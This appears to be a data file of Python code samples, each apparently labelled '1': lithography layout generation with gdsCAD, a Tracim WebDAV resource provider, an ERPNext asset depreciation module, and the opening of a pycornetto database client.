dmarks.add(hm) self.add(dmarks) def add_prealignment_markers(self, layers, mrkr_size=7): if mrkr_size % 2 == 0: # Number is even, but we need odd numbers mrkr_size += 1 if type(layers) is not list: layers = [layers] for l in layers: rect_size = 10. # 10 um large PAMM rectangles marker_rect = Rectangle([-rect_size / 2., -rect_size / 2.], [rect_size / 2., rect_size / 2.], layer=l) marker = Cell('10umMarker') marker.add(marker_rect) # Make one arm of the PAMM array marker_arm = Cell('PAMM_Arm') # Define the positions of the markers, they increase in spacing by 1 um each time: mrkr_positions = [75 * n + (n - 1) * n // 2 for n in range(1, (mrkr_size - 1) // 2 + 1)] for pos in mrkr_positions: marker_arm.add(marker, origin=[pos, 0]) # Build the final PAMM Marker pamm_cell = Cell('PAMM_Marker') pamm_cell.add(marker) # Center marker pamm_cell.add(marker_arm) # Right arm pamm_cell.add(marker_arm, rotation=180) # Left arm pamm_cell.add(marker_arm, rotation=90) # Top arm pamm_cell.add(marker_arm, rotation=-90) # Bottom arm for pos in mrkr_positions: pamm_cell.add(marker_arm, origin=[pos, 0], rotation=90) # Top arms pamm_cell.add(marker_arm, origin=[-pos, 0], rotation=90) pamm_cell.add(marker_arm, origin=[pos, 0], rotation=-90) # Bottom arms pamm_cell.add(marker_arm, origin=[-pos, 0], rotation=-90) # Make the 4 tick marks that mark the center of the array h = 30. w = 100. tick_mrk = Rectangle([-w / 2., -h / 2.], [w / 2, h / 2.], layer=l) tick_mrk_cell = Cell(""TickMark"") tick_mrk_cell.add(tick_mrk) pos = mrkr_positions[-1] + 75 + w / 2. pamm_cell.add(tick_mrk_cell, origin=[pos, 0]) pamm_cell.add(tick_mrk_cell, origin=[-pos, 0]) pamm_cell.add(tick_mrk_cell, origin=[0, pos], rotation=90) pamm_cell.add(tick_mrk_cell, origin=[0, -pos], rotation=90) center_x, center_y = (5000, 5000) for block in self.blocks: block.add(pamm_cell, origin=(center_x + 2000, center_y)) block.add(pamm_cell, origin=(center_x - 2000, center_y)) def add_tem_membranes(self, widths, length, pitch, layer): tem_membranes = Cell('TEM_Membranes') n = 5 curr_y = 0 for width in widths: membrane = Path([(-length / 2., 0), (length / 2., 0)], width=width, layer=layer) membrane_cell = Cell('Membrane_w{:.0f}'.format(width * 1000)) membrane_cell.add(membrane) membrane_array = CellArray(membrane_cell, 1, n, (0, pitch)) membrane_array_cell = Cell('MembraneArray_w{:.0f}'.format(width * 1000)) membrane_array_cell.add(membrane_array) tem_membranes.add(membrane_array_cell, origin=(0, curr_y)) curr_y += n * pitch n2 = 3 tem_membranes2 = Cell('Many_TEM_Membranes') tem_membranes2.add(CellArray(tem_membranes, 1, n2, (0, n * len(widths) * pitch))) center_x, center_y = (5000, 5000) for block in self.blocks: block.add(tem_membranes2, origin=(center_x, center_y + 2000)) def add_theory_cells(self): theory_cells = Cell('TheoryCells') theory_cells.add(make_theory_cell(wafer_orient='100'), origin=(-400, 0)) theory_cells.add(make_theory_cell_3br(), origin=(0, 0)) theory_cells.add(make_theory_cell_4br(), origin=(400, 0)) center_x, center_y = (5000, 5000) for block in self.blocks: block.add(theory_cells, origin=(center_x, center_y - 2000)) def add_chip_labels(self): wafer_lbl = PATTERN + '\n' + WAFER_ID text = Label(wafer_lbl, 20., layer=l_lgBeam) text.translate(tuple(np.array(-text.bounding_box.mean(0)))) # Center justify label chip_lbl_cell = Cell('chip_label') chip_lbl_cell.add(text) center_x, center_y = (5000, 5000) for block in self.blocks: block.add(chip_lbl_cell, origin=(center_x, center_y - 2850)) class Frame(Cell): """""" Make a frame for writing to with ebeam lithography Params: -name of the frame, just like when naming a cell -size: the size of the frame as an array [xsize,ysize] """""" def __init__(self, name, size, border_layers): if not (type(border_layers) == list): border_layers = [border_layers] Cell.__init__(self, name) self.size_x, self.size_y = size # Create the border of the cell for l in border_layers: self.border = Box( (-self.size_x / 2., -self.size_y / 2.), (self.size_x / 2., self.size_y / 2.), 1, layer=l) self.add(self.border) # Add border to the frame self.align_markers = None def make_align_markers(self, t, w, position, layers, joy_markers=False, camps_markers=False): if not (type(layers) == list): layers = [layers] top_mk_cell = Cell('AlignmentMark') for l in layers: if not joy_markers: am0 = Rectangle((-w / 2., -w / 2.), (w / 2., w / 2.), layer=l) rect_mk_cell = Cell(""RectMarker"") rect_mk_cell.add(am0) top_mk_cell.add(rect_mk_cell) elif joy_markers: crosspts = [(0, 0), (w / 2., 0), (w / 2., t), (t, t), (t, w / 2), (0, w / 2), (0, 0)] crosspts.extend(tuple(map(tuple, (-np.array(crosspts)).tolist()))) am0 = Boundary(crosspts, layer=l) # Create gdsCAD shape joy_mk_cell = Cell(""JOYMarker"") joy_mk_cell.add(am0) top_mk_cell.add(joy_mk_cell) if camps_markers: emw = 20. # 20 um e-beam marker width camps_mk = Rectangle((-emw / 2., -emw / 2.), (emw / 2., emw / 2.), layer=l) camps_mk_cell = Cell(""CAMPSMarker"") camps_mk_cell.add(camps_mk) top_mk_cell.add(camps_mk_cell, origin=[100., 100.]) top_mk_cell.add(camps_mk_cell, origin=[100., -100.]) top_mk_cell.add(camps_mk_cell, origin=[-100., 100.]) top_mk_cell.add(camps_mk_cell, origin=[-100., -100.]) self.align_markers = Cell(""AlignMarkers"") self.align_markers.add(top_mk_cell, origin=np.array(position) * np.array([1, -1])) self.align_markers.add(top_mk_cell, origin=np.array(position) * np.array([-1, -1])) self.align_markers.add(top_mk_cell, origin=np.array(position) * np.array([1, 1])) self.align_markers.add(top_mk_cell, origin=np.array(position) * np.array([-1, 1])) self.add(self.align_markers) def make_slit_array(self, _pitches, spacing, _widths, _lengths, rot_angle, array_height, array_width, array_spacing, layers): if not (type(layers) == list): layers = [layers] if not (type(_pitches) == list): _pitches = [_pitches] if not (type(_lengths) == list): _lengths = [_lengths] if not (type(_widths) == list): _widths = [_widths] manyslits = i = j = None for l in layers: i = -1 j = -1 manyslits = Cell(""SlitArray"") pitch = _pitches[0] for length in _lengths: j += 1 i = -1 for width in _widths: # for pitch in pitches: i += 1 if i % 3 == 0: j += 1 # Move to array to next line i = 0 # Restart at left pitch_v = pitch / np.cos(np.deg2rad(rot_angle)) # widthV = width / np.cos(np.deg2rad(rotAngle)) nx = int(array_width / (length + spacing)) ny = int(array_height / pitch_v) # Define the slits slit = Cell(""Slits"") rect = Rectangle((-length / 2., -width / 2.), (length / 2., width / 2.), layer=l) rect = rect.copy().rotate(rot_angle) slit.add(rect) slits = CellArray(slit, nx, ny, (length + spacing, pitch_v)) slits.translate((-(nx - 1) * (length + spacing) / 2., -(ny - 1) * pitch_v / 2.)) slit_array = Cell(""SlitArray"") slit_array.add(slits) text = Label('w/p/l\n%i/%i/%i' % (width * 1000, pitch, length), 5, layer=l) lbl_vertical_offset = 1.35 if j % 2 == 0: text.translate( tuple(np.array(-text.bounding_box.mean(0)) + np.array(( 0, -array_height / lbl_vertical_offset)))) # Center justify label else: text.translate( tuple(np.array(-text.bounding_box.mean(0)) + np.array(( 0, array_height / lbl_vertical_offset)))) # Center justify label slit_array.add(text) manyslits.add(slit_array, origin=((array_width + array_spacing) * i, ( array_height + 2. * array_spacing) * j - array_spacing / 2.)) self.add(manyslits, origin=(-i * (array_width + array_spacing) / 2, -(j + 1.5) * ( array_height + array_spacing) / 2)) # %%Create the pattern that we want to write lgField = Frame(""LargeField"", (2000., 2000.), []) # Create the large write field lgField.make_align_markers(20., 200., (850., 850.), l_lgBeam, joy_markers=True, camps_markers=True) # Define parameters that we will use for the slits widths = [0.004, 0.008, 0.012, 0.016, 0.028, 0.044] pitches = [1.0, 2.0] lengths = [10., 20.] smFrameSize = 400 slitColumnSpacing = 3. # Create the smaller write field and corresponding markers smField1 = Frame(""SmallField1"", (smFrameSize, smFrameSize), []) smField1.make_align_markers(2., 20., (180., 180.), l_lgBeam, joy_markers=True) smField1.make_slit_array(pitches[0], slitColumnSpacing, widths, lengths[0], rotAngle, 100, 100, 30, l_smBeam) smField2 = Frame(""SmallField2"", (smFrameSize, smFrameSize), []) smField2.make_align_markers(2., 20., (180., 180.), l_lgBeam, joy_markers=True) smField2.make_slit_array(pitches[0], slitColumnSpacing, widths, lengths[1], rotAngle, 100, 100, 30, l_smBeam) smField3 = Frame(""SmallField3"", (smFrameSize, smFrameSize), []) smField3.make_align_markers(2., 20., (180., 180.), l_lgBeam, joy_markers=True) smField3.make_slit_array(pitches[1], slitColumnSpacing, widths, lengths[0], rotAngle, 100, 100, 30, l_smBeam) smField4 = Frame(""SmallField4"", (smFrameSize, smFrameSize), []) smField4.make_align_markers(2., 20., (180., 180.), l_lgBeam, joy_markers=True) smField4.make_slit_array(pitches[1], slitColumnSpacing, widths, lengths[1], rotAngle, 100, 100, 30, l_smBeam) centerAlignField = Frame(""CenterAlignField"", (smFrameSize, smFrameSize), []) centerAlignField.make_align_markers(2., 20., (180., 180.), l_lgBeam, joy_markers=True) # Add everything together to a top cell topCell = Cell(""TopCell"") topCell.add(lgField) smFrameSpacing = 400 # Spacing between the three small frames dx = smFrameSpacing + smFrameSize dy = smFrameSpacing + smFrameSize topCell.add(smField1, origin=(-dx / 2., dy / 2.)) topCell.add(smField2, origin=(dx / 2., dy / 2.)) topCell.add(smField3, origin=(-dx / 2., -dy / 2.)) topCell.add(smField4, origin=(dx / 2., -dy / 2.)) topCell.add(centerAlignField, origin=(0., 0.)) topCell.spacing = np.array([4000., 4000.]) # %%Create the layout and output GDS file layout = Layout('LIBRARY') if putOnWafer: # Fit as many patterns on a 2inch wafer as possible wafer = MBE100Wafer('MembranesWafer', cells=[topCell]) layout.add(wafer) # layout.show() else: # Only output a single copy of the pattern (not on a wafer) layout.add(topCell) layout.show() filestring = str(waferVer) + '_' + WAFER_ID + '_' + date.today().strftime(""%d%m%Y"") + ' dMark' + str(tDicingMarks) filename = filestring.replace(' ', '_') + '.gds' layout.save(filename) cell_layout = Layout('LIBRARY') cell_layout.add(wafer.blocks[0]) cell_layout.save(filestring.replace(' ', '_') + '_block' + '.gds') # Output up chip for doing aligned jobs layout_field = Layout('LIBRARY') layout_field.add(topCell) layout_field.save(filestring.replace(' ', '_') + '_2mmField.gds')",1 "mport util from wsgidav.addons.tracim import role, MyFileStream from time import mktime from datetime import datetime from os.path import normpath, dirname, basename try: from cStringIO import StringIO except ImportError: from StringIO import StringIO class Root(DAVCollection): def __init__(self, path, environ): super(Root, self).__init__(path, environ) def __repr__(self): return 'Root folder' def getCreationDate(self): return mktime(datetime.now().timetuple()) def getDisplayName(self): return 'Tracim - Home' def getLastModified(self): return mktime(datetime.now().timetuple()) def getMemberNames(self): return self.provider.get_all_workspaces(only_name=True) def getMember(self, workspace_name): workspace = self.provider.get_workspace({'label': workspace_name}) if not self.provider.has_right( self.environ[""http_authenticator.username""], workspace.workspace_id, role[""READER""] ): return None return Workspace(self.path + workspace.label, self.environ, workspace) def createEmptyResource(self, name): raise DAVError(HTTP_FORBIDDEN) def createCollection(self, name): raise DAVError(HTTP_FORBIDDEN) def getMemberList(self): memberlist = [] for name in self.getMemberNames(): member = self.getMember(name) if member is not None: memberlist.append(member) return memberlist class Workspace(DAVCollection): def __init__(self, path, environ, workspace): super(Workspace, self).__init__(path, environ) self.workspace = workspace def __repr__(self): return ""Workspace: %s"" % self.workspace.label def getCreationDate(self): return mktime(self.workspace.created.timetuple()) def getDisplayName(self): return self.workspace.label def getLastModified(self): return mktime(self.workspace.updated.timetuple()) def getMemberNames(self): return self.provider.get_workspace_children_id(self.workspace) def getMember(self, item_id): item = self.provider.get_item({'id': item_id, 'child_revision_id': None}) if not self.provider.has_right( self.environ[""http_authenticator.username""], item.workspace_id, role[""READER""] ): return None return Folder(self.path + item.item_name, self.environ, item) def createEmptyResource(self, name): raise DAVError(HTTP_FORBIDDEN) def createCollection(self, name): assert ""/"" not in name if not self.provider.has_right( self.environ[""http_authenticator.username""], self.workspace.workspace_id, role[""CONTENT_MANAGER""] ): raise DAVError(HTTP_FORBIDDEN) item = self.provider.add_item( item_name=name, item_type=""FOLDER"", workspace_id=self.workspace.workspace_id ) return Folder(self.path + name, self.environ, item) def delete(self): if not self.provider.has_right( self.environ[""http_authenticator.username""], self.workspace.workspace_id, role[""WORKSPACE_MANAGER""] ): raise DAVError(HTTP_FORBIDDEN) self.provider.delete_workspace(self.workspace) self.removeAllLocks(True) def copyMoveSingle(self, destpath, ismove): if ismove: self.provider.set_workspace_label(self.workspace, basename(normpath(destpath))) else: self.provider.add_workspace(basename(normpath(destpath))) def supportRecursiveMove(self, destpath): return True def moveRecursive(self, destpath): if not self.provider.has_right( self.environ[""http_authenticator.username""], self.workspace.workspace_id, role[""WORKSPACE_MANAGER""] ) or dirname(normpath(destpath)) != '/': raise DAVError(HTTP_FORBIDDEN) self.provider.set_workspace_label(self.workspace, basename(normpath(destpath))) def setLastModified(self, destpath, timestamp, dryrun): return False def getMemberList(self): memberlist = [] for name in self.getMemberNames(): member = self.getMember(name) if member is not None: memberlist.append(member) return memberlist class Folder(DAVCollection): def __init__(self, path, environ, item): super(Folder, self).__init__(path, environ) self.item = item def __repr__(self): return ""Folder: %s"" % self.item.item_name def getCreationDate(self): return mktime(self.item.created.timetuple()) def getDisplayName(self): return self.item.item_name def getLastModified(self): return mktime(self.item.updated.timetuple()) def getMemberNames(self): return self.provider.get_item_children(self.item.id) def getMember(self, item_id): if not self.provider.has_right( self.environ[""http_authenticator.username""], self.item.workspace_id, role[""READER""] ): return None item = self.provider.get_item({'id': item_id, 'child_revision_id': None}) return self.provider.getResourceInst(self.path + item.item_name, self.environ) def createEmptyResource(self, name): assert ""/"" not in name if not self.provider.has_right( self.environ[""http_authenticator.username""], self.item.workspace_id, role[""CONTRIBUTOR""] ): raise DAVError(HTTP_FORBIDDEN) item = self.provider.add_item( item_name=name, item_type=""FILE"", workspace_id=self.item.workspace_id, parent_id=self.item.id ) return File(self.path + name, self.environ, item) def createCollection(self, name): assert ""/"" not in name if not self.provider.has_right( self.environ[""http_authenticator.username""], self.item.workspace_id, role[""CONTENT_MANAGER""] ): raise DAVError(HTTP_FORBIDDEN) item = self.provider.add_item( item_name=name, item_type=""FOLDER"", workspace_id=self.item.workspace_id, parent_id=self.item.id ) return Folder(self.path + name, self.environ, item) def delete(self): if not self.provider.has_right( self.environ[""http_authenticator.username""], self.item.workspace_id, role[""CONTENT_MANAGER""] ): raise DAVError(HTTP_FORBIDDEN) self.provider.delete_item(self.item) self.removeAllLocks(True) def copyMoveSingle(self, destpath, ismove): if not self.provider.has_right( self.environ[""http_authenticator.username""], self.item.workspace_id, role[""CONTENT_MANAGER""] ) or dirname(normpath(destpath)) == '/': raise DAVError(HTTP_FORBIDDEN) if ismove: self.provider.move_item(self.item, destpath) else: self.provider.copy_item(self.item, destpath) def supportRecursiveMove(self, destpath): return True def moveRecursive(self, destpath): self.copyMoveSingle(destpath, True) def setLastModified(self, destpath, timestamp, dryrun): return False def getMemberList(self, copyOrMove=False): memberlist = [] for name in self.getMemberNames(): member = self.getMember(name) if member is not None: memberlist.append(member) print ""j'ai : "", copyOrMove if memberlist != [] and not copyOrMove: memberlist.append(HistoryFolder(self.path + "".history"", self.environ, self.item)) return memberlist def getDescendants(self, collections=True, resources=True, depthFirst=False, depth=""infinity"", addSelf=False, copyOrMove=False): assert depth in (""0"", ""1"", ""infinity"") res = [] if addSelf and not depthFirst: res.append(self) if depth != ""0"" and self.isCollection: for child in self.getMemberList(copyOrMove): if not child: _ = self.getMemberList(copyOrMove) want = (collections and child.isCollection) or (resources and not child.isCollection) if want and not depthFirst: res.append(child) if child.isCollection and depth == ""infinity"": res.extend(child.getDescendants(collections, resources, depthFirst, depth, addSelf=False, copyOrMove=copyOrMove)) if want and depthFirst: res.append(child) if addSelf and depthFirst: res.append(self) return res class HistoryFolder(Folder): def __init__(self, path, environ, item): super(HistoryFolder, self).__init__(path, environ, item) def __repr__(self): return ""Folder history of : %s"" % self.item.item_name def getCreationDate(self): return mktime(datetime.now().timetuple()) def getDisplayName(self): return '.history' def getLastModified(self): return mktime(datetime.now().timetuple()) def getMember(self, item_id): if not self.provider.has_right( self.environ[""http_authenticator.username""], self.item.workspace_id, role[""READER""] ): return None item = self.provider.get_item({'id': item_id, 'child_revision_id': None}) if item.item_type == 'FOLDER': return None return HistoryFileFolder(self.path + item.item_name, self.environ, item) def createEmptyResource(self, name): raise DAVError(HTTP_FORBIDDEN) def createCollection(self, name): raise DAVError(HTTP_FORBIDDEN) def handleDelete(self): return True def handleCopy(self, destPath, depthInfinity): return True def handleMove(self, destPath): return True def setLastModified(self, destpath, timestamp, dryrun): return False def getMemberList(self, copyOrMove=False): memberlist = [] for name in self.getMemberNames(): member = self.getMember(name) if member is not None: memberlist.append(member) return memberlist class HistoryFileFolder(HistoryFolder): def __init__(self, path, environ, item): super(HistoryFileFolder, self).__init__(path, environ, item) def __repr__(self): return ""File folder history of : %s"" % self.item.item_name def getCreationDate(self): return mktime(datetime.now().timetuple()) def getDisplayName(self): return self.item.item_name def createCollection(self, name): raise DAVError(HTTP_FORBIDDEN) def getLastModified(self): return mktime(datetime.now().timetuple()) def getMemberNames(self): return self.provider.get_all_revisions_from_item(self.item, only_id=True) def getMember(self, item_id): if not self.provider.has_right( self.environ[""http_authenticator.username""], self.item.workspace_id, role[""READER""]): return None item = self.provider.get_item({'id': item_id}) if item.item_type in [""FILE""]: return HistoryFile(self.path + str(item.id) + '-' + item.item_name , self.environ, item) else: return HistoryOtherFile(self.path + str(item.id) + '-' + item.item_name, self.environ, item) class File(DAVNonCollection): def __init__(self, path, environ, item): super(File, self).__init__(path, environ) self.item = item self.filestream = MyFileStream(self.provider, self.item) def __repr__(self): return ""File: %s"" % self.item.item_name def getContentLength(self): return len(self.item.item_content) def getContentType(self): return util.guessMimeType(self.item.item_name) def getCreationDate(self): return mktime(self.item.created.timetuple()) def getDisplayName(self): return self.item.item_name def getLastModified(self): return mktime(self.item.updated.timetuple()) def getContent(self): filestream = StringIO() filestream.write(self.item.item_content) filestream.seek(0) return filestream def beginWrite(self, contentType=None): return self.filestream def delete(self): if not self.provider.has_right( self.environ[""http_authenticator.username""], self.item.workspace_id, role[""CONTENT_MANAGER""] ): raise DAVError(HTTP_FORBIDDEN) self.provider.delete_item(self.item) self.removeAllLocks(True) def copyMoveSingle(self, destpath, ismove): if not self.provider.has_right( self.environ[""http_authenticator.username""], self.provider.get_workspace_id_from_path(destpath), role[""CONTRIBUTOR""] ) or not self.provider.has_right( self.environ[""http_authenticator.username""], self.item.workspace_id, role[""READER""] ) or dirname(normpath(destpath)) == '/' \ or dirname(dirname(normpath(destpath))) == '/': raise DAVError(HTTP_FORBIDDEN) if ismove: self.provider.move_all_revisions(self.item, destpath) else: self.provider.copy_item(self.item, destpath) def supportRecursiveMove(self, dest): return True def moveRecursive(self, destpath): self.copyMoveSingle(destpath, True) def setLastModified(self, dest, timestamp, dryrun): return False class HistoryFile(File): def __init__(self, path, environ, item): super(HistoryFile, self).__init__(path, environ, item) def __repr__(self): return ""File history: %s-%s"" % (self.item.item_name, self.item.id) def getDisplayName(self): return str(self.item.id) + '-' + self.item.item_name def beginWrite(self, contentType=None): raise DAVError(HTTP_FORBIDDEN) def delete(self): raise DAVError(HTTP_FORBIDDEN) def handleDelete(self): return True def handleCopy(self, destPath, depthInfinity): return True def handleMove(self, destPath): return True def copyMoveSingle(self, destpath, ismove): raise DAVError(HTTP_FORBIDDEN) class OtherFile(File): def __init__(self, path, environ, item): super(OtherFile, self).__init__(path, environ, item) self.content = self.design(self.item.item_content) def __repr__(self): return ""File: %s"" % self.item.item_name def getContentLength(self): return len(self.content) def getContentType(self): return 'text/html' def getContent(self): filestream = StringIO() filestream.write(self.content) filestream.seek(0) return filestream def design(self, content): f = open('wsgidav/addons/tracim/style.css', 'r') style = f.read() f.close() file = ''' Hey
%s
''' % (style, content) return file class HistoryOtherFile(OtherFile): def __init__(self, path, environ, item): super(HistoryOtherFile, self).__init__(path, environ, item) self.content = self.design(self.item.item_content) def __repr__(self): return ""File history: %s-%s"" % (self.item.item_name, self.item.id) def getDisplayName(self): return str(self.item.id) + '-' + self.item.item_name def beginWrite(self, contentType=None): raise DAVError(HTTP_FORBIDDEN) def delete(self): raise DAVError(HTTP_FORBIDDEN) def handleDelete(self): return True def handleCopy(self, destPath, depthInfinity): return True def handleMove(self, destPath): return True def copyMoveSingle(self, destpath, ismove): raise DAVError(HTTP_FORBIDDEN) ",1 "_future__ import unicode_literals import frappe from frappe import _ from frappe.utils import flt, add_months, cint, nowdate, getdate from frappe.model.document import Document from erpnext.accounts.doctype.purchase_invoice.purchase_invoice import get_fixed_asset_account from erpnext.accounts.doctype.asset.depreciation \ import get_disposal_account_and_cost_center, get_depreciation_accounts class Asset(Document): def validate(self): self.status = self.get_status() self.validate_item() self.set_missing_values() self.validate_asset_values() self.make_depreciation_schedule() self.set_accumulated_depreciation() if self.get(""schedules""): self.validate_expected_value_after_useful_life() # Validate depreciation related accounts get_depreciation_accounts(self) def on_submit(self): self.set_status() def on_cancel(self): self.validate_cancellation() self.delete_depreciation_entries() self.set_status() def validate_item(self): item = frappe.db.get_value(""Item"", self.item_code, [""is_fixed_asset"", ""is_stock_item"", ""disabled""], as_dict=1) if not item: frappe.throw(_(""Item {0} does not exist"").format(self.item_code)) elif item.disabled: frappe.throw(_(""Item {0} has been disabled"").format(self.item_code)) elif not item.is_fixed_asset: frappe.throw(_(""Item {0} must be a Fixed Asset Item"").format(self.item_code)) elif item.is_stock_item: frappe.throw(_(""Item {0} must be a non-stock item"").format(self.item_code)) def set_missing_values(self): if self.item_code: item_details = get_item_details(self.item_code) for field, value in item_details.items(): if not self.get(field): self.set(field, value) self.value_after_depreciation = (flt(self.gross_purchase_amount) - flt(self.opening_accumulated_depreciation)) def validate_asset_values(self): if flt(self.expected_value_after_useful_life) >= flt(self.gross_purchase_amount): frappe.throw(_(""Expected Value After Useful Life must be less than Gross Purchase Amount"")) if not flt(self.gross_purchase_amount): frappe.throw(_(""Gross Purchase Amount is mandatory""), frappe.MandatoryError) if not self.is_existing_asset: self.opening_accumulated_depreciation = 0 self.number_of_depreciations_booked = 0 if not self.next_depreciation_date: frappe.throw(_(""Next Depreciation Date is mandatory for new asset"")) else: depreciable_amount = flt(self.gross_purchase_amount) - flt(self.expected_value_after_useful_life) if flt(self.opening_accumulated_depreciation) > depreciable_amount: frappe.throw(_(""Opening Accumulated Depreciation must be less than equal to {0}"") .format(depreciable_amount)) if self.opening_accumulated_depreciation: if not self.number_of_depreciations_booked: frappe.throw(_(""Please set Number of Depreciations Booked"")) else: self.number_of_depreciations_booked = 0 if cint(self.number_of_depreciations_booked) > cint(self.total_number_of_depreciations): frappe.throw(_(""Number of Depreciations Booked cannot be greater than Total Number of Depreciations"")) if self.next_depreciation_date and getdate(self.next_depreciation_date) < getdate(nowdate()): frappe.msgprint(_(""Next Depreciation Date is entered as past date""), title=_('Warning'), indicator='red') if self.next_depreciation_date and getdate(self.next_depreciation_date) < getdate(self.purchase_date): frappe.throw(_(""Next Depreciation Date cannot be before Purchase Date"")) if (flt(self.value_after_depreciation) > flt(self.expected_value_after_useful_life) and not self.next_depreciation_date): frappe.throw(_(""Please set Next Depreciation Date"")) def make_depreciation_schedule(self): if self.depreciation_method != 'Manual': self.schedules = [] if not self.get(""schedules"") and self.next_depreciation_date: value_after_depreciation = flt(self.value_after_depreciation) number_of_pending_depreciations = cint(self.total_number_of_depreciations) - \ cint(self.number_of_depreciations_booked) if number_of_pending_depreciations: for n in xrange(number_of_pending_depreciations): schedule_date = add_months(self.next_depreciation_date, n * cint(self.frequency_of_depreciation)) depreciation_amount = self.get_depreciation_amount(value_after_depreciation) value_after_depreciation -= flt(depreciation_amount) self.append(""schedules"", { ""schedule_date"": schedule_date, ""depreciation_amount"": depreciation_amount }) def set_accumulated_depreciation(self): accumulated_depreciation = flt(self.opening_accumulated_depreciation) value_after_depreciation = flt(self.value_after_depreciation) for i, d in enumerate(self.get(""schedules"")): depreciation_amount = flt(d.depreciation_amount, d.precision(""depreciation_amount"")) value_after_depreciation -= flt(depreciation_amount) if i==len(self.get(""schedules""))-1 and self.depreciation_method == ""Straight Line"": depreciation_amount += flt(value_after_depreciation - flt(self.expected_value_after_useful_life), d.precision(""depreciation_amount"")) d.depreciation_amount = depreciation_amount accumulated_depreciation += d.depreciation_amount d.accumulated_depreciation_amount = flt(accumulated_depreciation, d.precision(""accumulated_depreciation_amount"")) def get_depreciation_amount(self, depreciable_value): if self.depreciation_method in (""Straight Line"", ""Manual""): depreciation_amount = (flt(self.value_after_depreciation) - flt(self.expected_value_after_useful_life)) / (cint(self.total_number_of_depreciations) - cint(self.number_of_depreciations_booked)) else: factor = 200.0 / self.total_number_of_depreciations depreciation_amount = flt(depreciable_value * factor / 100, 0) value_after_depreciation = flt(depreciable_value) - depreciation_amount if value_after_depreciation < flt(self.expected_value_after_useful_life): depreciation_amount = flt(depreciable_value) - flt(self.expected_value_after_useful_life) return depreciation_amount def validate_expected_value_after_useful_life(self): accumulated_depreciation_after_full_schedule = \ max([d.accumulated_depreciation_amount for d in self.get(""schedules"")]) asset_value_after_full_schedule = (flt(self.gross_purchase_amount) - flt(accumulated_depreciation_after_full_schedule)) if self.expected_value_after_useful_life < asset_value_after_full_schedule: frappe.throw(_(""Expected value after useful life must be greater than or equal to {0}"") .format(asset_value_after_full_schedule)) def validate_cancellation(self): if self.status not in (""Submitted"", ""Partially Depreciated"", ""Fully Depreciated""): frappe.throw(_(""Asset cannot be cancelled, as it is already {0}"").format(self.status)) if self.purchase_invoice: frappe.throw(_(""Please cancel Purchase Invoice {0} first"").format(self.purchase_invoice)) def delete_depreciation_entries(self): for d in self.get(""schedules""): if d.journal_entry: frappe.get_doc(""Journal Entry"", d.journal_entry).cancel() d.db_set(""journal_entry"", None) self.db_set(""value_after_depreciation"", (flt(self.gross_purchase_amount) - flt(self.opening_accumulated_depreciation))) def set_status(self, status=None): '''Get and update status''' if not status: status = self.get_status() self.db_set(""status"", status) def get_status(self): '''Returns status based on whether it is draft, submitted, scrapped or depreciated''' if self.docstatus == 0: status = ""Draft"" elif self.docstatus == 1: status = ""Submitted"" if self.journal_entry_for_scrap: status = ""Scrapped"" elif flt(self.value_after_depreciation) <= flt(self.expected_value_after_useful_life): status = ""Fully Depreciated"" elif flt(self.value_after_depreciation) < flt(self.gross_purchase_amount): status = 'Partially Depreciated' elif self.docstatus == 2: status = ""Cancelled"" return status @frappe.whitelist() def make_purchase_invoice(asset, item_code, gross_purchase_amount, company, posting_date): pi = frappe.new_doc(""Purchase Invoice"") pi.company = company pi.currency = frappe.db.get_value(""Company"", company, ""default_currency"") pi.set_posting_time = 1 pi.posting_date = posting_date pi.append(""items"", { ""item_code"": item_code, ""is_fixed_asset"": 1, ""asset"": asset, ""expense_account"": get_fixed_asset_account(asset), ""qty"": 1, ""price_list_rate"": gross_purchase_amount, ""rate"": gross_purchase_amount }) pi.set_missing_values() return pi @frappe.whitelist() def make_sales_invoice(asset, item_code, company): si = frappe.new_doc(""Sales Invoice"") si.company = company si.currency = frappe.db.get_value(""Company"", company, ""default_currency"") disposal_account, depreciation_cost_center = get_disposal_account_and_cost_center(company) si.append(""items"", { ""item_code"": item_code, ""is_fixed_asset"": 1, ""asset"": asset, ""income_account"": disposal_account, ""cost_center"": depreciation_cost_center, ""qty"": 1 }) si.set_missing_values() return si @frappe.whitelist() def transfer_asset(args): import json args = json.loads(args) movement_entry = frappe.new_doc(""Asset Movement"") movement_entry.update(args) movement_entry.insert() movement_entry.submit() frappe.db.commit() frappe.msgprint(_(""Asset Movement record {0} created"").format(""{0}"".format(movement_entry.name))) @frappe.whitelist() def get_item_details(item_code): asset_category = frappe.db.get_value(""Item"", item_code, ""asset_category"") if not asset_category: frappe.throw(_(""Please enter Asset Category in Item {0}"").format(item_code)) ret = frappe.db.get_value(""Asset Category"", asset_category, [""depreciation_method"", ""total_number_of_depreciations"", ""frequency_of_depreciation""], as_dict=1) ret.update({ ""asset_category"": asset_category }) return ret ",1 "tto package. # Pycornetto is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # Pycornetto is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see . """""" A simple client to connect to the Cornetto database server. Reads queries from standard input and writes results to standard output. """""" # BUGS: # - there is no way interrupt a query that goes bad on the server, as obviously # a local Ctrl-C does not work __author__ = 'Erwin Marsi ' __version__ = '0.6.1' # using optparse instead of argparse so client can run stand-alone from sys import stdin, stdout, stderr, exit from optparse import OptionParser, IndentedHelpFormatter import xmlrpclib from pprint import pformat from socket import error as SocketError class MyFormatter(IndentedHelpFormatter): """"""to prevent optparse from messing up the epilog text"""""" def format_epilog(self, epilog): return epilog or """" def format_description(self, description): return description.lstrip() epilog = """""" Interactive usage: $ cornetto-client.py $ cornetto-client.py -a File processing: $ echo 'ask(""pijp"")' | cornetto-client.py $ cornetto-client.py output """""" try: parser = OptionParser(description=__doc__, version=""%(prog)s version "" + __version__, epilog=epilog, formatter=MyFormatter()) except TypeError: # optparse in python 2.4 has no epilog keyword parser = OptionParser(description=__doc__ + epilog, version=""%(prog)s version "" + __version__) parser.add_option(""-a"", ""--ask"", action='store_true', help=""assume all commands are input the 'ask' function, "" ""- so you can type 'query' instead of 'ask(\""query\"") - '"" ""but online help is no longer accessible"" ) parser.add_option(""-H"", ""--host"", default=""localhost:5204"", metavar=""HOST[:PORT]"", help=""name or IP address of host (default is 'localhost') "" ""optionally followed by a port number "" ""(default is 5204)"") parser.add_option('-n', '--no-pretty-print', 